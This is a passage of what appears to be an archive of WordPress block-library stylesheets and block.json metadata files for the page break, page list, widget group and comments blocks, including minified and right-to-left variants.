Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .block-editor-block-list__block[data-type="core/nextpage"] { max-width: 100%; text-align: center; margin-top: 28px; margin-bottom: 28px; } .wp-block-nextpage { display: block; text-align: center; white-space: nowrap; } .wp-block-nextpage > span { font-size: 13px; position: relative; text-transform: uppercase; font-weight: 600; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif; color: #757575; border-radius: 4px; background: #fff; padding: 6px 8px; height: 24px; } .wp-block-nextpage::before { content: ""; position: absolute; top: calc(50%); left: 0; right: 0; border-top: 3px dashed #ccc; }blocks/nextpage/editor.min.css000064400000001120147177035020012416 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;left:0;right:0;border-top:3px dashed #ccc}blocks/nextpage/block.json000064400000000707147177035020011633 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/nextpage", "title": "Page Break", "category": "design", "description": "Separate your content into a multi-page experience.", "keywords": [ "next page", "pagination" ], "parent": [ "core/post-content" ], "textdomain": "default", "supports": { "customClassName": false, "className": false, "html": false }, "editorStyle": "wp-block-nextpage-editor" } blocks/nextpage/editor-rtl.min.css000064400000001120147177035020013215 0ustar00.block-editor-block-list__block[data-type="core/nextpage"]{max-width:100%;text-align:center;margin-top:28px;margin-bottom:28px}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{font-size:13px;position:relative;text-transform:uppercase;font-weight:600;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;color:#757575;border-radius:4px;background:#fff;padding:6px 8px;height:24px}.wp-block-nextpage:before{content:"";position:absolute;top:50%;right:0;left:0;border-top:3px dashed #ccc}blocks/page-list/editor-rtl.css000064400000005133147177035020012515 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-page-list > div, .wp-block-navigation .wp-block-page-list { background-color: inherit; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between .wp-block-page-list { display: contents; flex: 1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list { flex: inherit; } .wp-block-pages-list__item__link { pointer-events: none; } @media (min-width: 600px) { .wp-block-page-list-modal { max-width: 480px; } } .wp-block-page-list-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } .wp-block-page-list .open-on-click:focus-within > .wp-block-navigation__submenu-container { visibility: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-page-list .components-notice { margin-right: 0; }blocks/page-list/style.min.css000064400000000552147177035020012352 0ustar00.wp-block-navigation .wp-block-page-list{display:flex;flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial);flex-wrap:var(--navigation-layout-wrap,wrap);background-color:inherit}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}blocks/page-list/editor.css000064400000005132147177035020011715 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-page-list > div, .wp-block-navigation .wp-block-page-list { background-color: inherit; } .wp-block-navigation.items-justified-space-between .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between .wp-block-page-list { display: contents; flex: 1; } .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list > div, .wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list { flex: inherit; } .wp-block-pages-list__item__link { pointer-events: none; } @media (min-width: 600px) { .wp-block-page-list-modal { max-width: 480px; } } .wp-block-page-list-modal-buttons { display: flex; justify-content: flex-end; gap: 12px; } .wp-block-page-list .open-on-click:focus-within > .wp-block-navigation__submenu-container { visibility: visible; opacity: 1; width: auto; height: auto; min-width: 200px; } .wp-block-page-list .components-notice { margin-left: 0; }blocks/page-list/style-rtl.css000064400000003517147177035020012373 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-page-list { display: flex; flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); flex-wrap: var(--navigation-layout-wrap, wrap); background-color: inherit; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; }blocks/page-list/editor.min.css000064400000002043147177035020012475 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;justify-content:flex-end;gap:12px}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{visibility:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-page-list .components-notice{margin-left:0}blocks/page-list/block.json000064400000001407147177035020011703 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 2, "name": "core/page-list", "title": "Page List", "category": "widgets", "description": "Display a list of all pages.", "keywords": [ "menu", "navigation" ], "textdomain": "default", "attributes": { "__unstableMaxPages": { "type": "number" } }, "usesContext": [ "textColor", "customTextColor", "backgroundColor", "customBackgroundColor", "overlayTextColor", "customOverlayTextColor", "overlayBackgroundColor", "customOverlayBackgroundColor", "fontSize", "customFontSize", "showSubmenuIcon", "style", "openSubmenusOnClick" ], "supports": { "reusable": false, "html": false }, "editorStyle": "wp-block-page-list-editor", "style": "wp-block-page-list" } blocks/page-list/style-rtl.min.css000064400000000552147177035020013151 0ustar00.wp-block-navigation .wp-block-page-list{display:flex;flex-direction:var(--navigation-layout-direction,initial);justify-content:var(--navigation-layout-justify,initial);align-items:var(--navigation-layout-align,initial);flex-wrap:var(--navigation-layout-wrap,wrap);background-color:inherit}.wp-block-navigation .wp-block-navigation-item{background-color:inherit}blocks/page-list/editor-rtl.min.css000064400000002044147177035020013275 0ustar00.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;justify-content:flex-end;gap:12px}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{visibility:visible;opacity:1;width:auto;height:auto;min-width:200px}.wp-block-page-list .components-notice{margin-right:0}blocks/page-list/style.css000064400000003517147177035020011574 0ustar00/** * Colors */ /** * Breakpoints & Media Queries */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Dimensions. */ /** * Shadows. */ /** * Editor widths. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Breakpoint mixins */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ .wp-block-navigation .wp-block-page-list { display: flex; flex-direction: var(--navigation-layout-direction, initial); justify-content: var(--navigation-layout-justify, initial); align-items: var(--navigation-layout-align, initial); flex-wrap: var(--navigation-layout-wrap, wrap); background-color: inherit; } .wp-block-navigation .wp-block-navigation-item { background-color: inherit; }blocks/widget-group/block.json000064400000000477147177035020012441 0ustar00{ "apiVersion": 2, "name": "core/widget-group", "category": "widgets", "attributes": { "title": { "type": "string" } }, "supports": { "html": false, "inserter": true, "customClassName": true, "reusable": false }, "editorStyle": "wp-block-widget-group-editor", "style": "wp-block-widget-group" } blocks/comments/editor-rtl.css000064400000010777147177035020012467 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{ box-sizing:border-box; } .wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{ float:right; } .wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{ float:left; } .wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-right:3.25em; } .wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:right; height:2.5em; margin-left:.75em; margin-top:.5em; width:2.5em; } .wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-right:.5em; } .wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; } .block-library-comments-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-comments__legacy-placeholder *{ pointer-events:none; }blocks/comments/style.min.css000064400000004426147177035020012316 0ustar00.wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}blocks/comments/editor.css000064400000010775147177035020011666 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{ box-sizing:border-box; } .wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{ float:left; } .wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{ float:right; } .wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-left:3.25em; } .wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:left; height:2.5em; margin-right:.75em; margin-top:.5em; width:2.5em; } .wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-left:.5em; } .wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; } .block-library-comments-toolbar__popover .components-popover__content{ min-width:230px; } .wp-block-comments__legacy-placeholder *{ pointer-events:none; }blocks/comments/style-rtl.css000064400000005000147177035020012320 0ustar00.wp-block-post-comments{ box-sizing:border-box; } .wp-block-post-comments .alignleft{ float:right; } .wp-block-post-comments .alignright{ float:left; } .wp-block-post-comments .navigation:after{ clear:both; content:""; display:table; } .wp-block-post-comments .commentlist{ clear:both; list-style:none; margin:0; padding:0; } .wp-block-post-comments .commentlist .comment{ min-height:2.25em; padding-right:3.25em; } .wp-block-post-comments .commentlist .comment p{ font-size:1em; line-height:1.8; margin:1em 0; } .wp-block-post-comments .commentlist .children{ list-style:none; margin:0; padding:0; } .wp-block-post-comments .comment-author{ line-height:1.5; } .wp-block-post-comments .comment-author .avatar{ border-radius:1.5em; display:block; float:right; height:2.5em; margin-left:.75em; margin-top:.5em; width:2.5em; } .wp-block-post-comments .comment-author cite{ font-style:normal; } .wp-block-post-comments .comment-meta{ font-size:.875em; line-height:1.5; } .wp-block-post-comments .comment-meta b{ font-weight:400; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation{ display:block; margin-bottom:1em; margin-top:1em; } .wp-block-post-comments .comment-body .commentmetadata{ font-size:.875em; } .wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{ display:block; margin-bottom:.25em; } .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{ box-sizing:border-box; display:block; width:100%; } .wp-block-post-comments .comment-form-cookies-consent{ display:flex; gap:.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{ margin-top:.35em; } .wp-block-post-comments .comment-reply-title{ margin-bottom:0; } .wp-block-post-comments .comment-reply-title :where(small){ font-size:var(--wp--preset--font-size--medium, smaller); margin-right:.5em; } .wp-block-post-comments .reply{ font-size:.875em; margin-bottom:1.4em; } .wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{ border:1px solid #949494; font-family:inherit; font-size:1em; } .wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{ padding:calc(.667em + 2px); } :where(.wp-block-post-comments input[type=submit]){ border:none; }blocks/comments/editor.min.css000064400000010407147177035020012440 0ustar00.wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none}blocks/comments/block.json000064400000002232147177035020011640 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments", "title": "Comments", "category": "theme", "description": "An advanced block that allows displaying post comments using different visual configurations.", "textdomain": "default", "attributes": { "tagName": { "type": "string", "default": "div" }, "legacy": { "type": "boolean", "default": false } }, "supports": { "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": 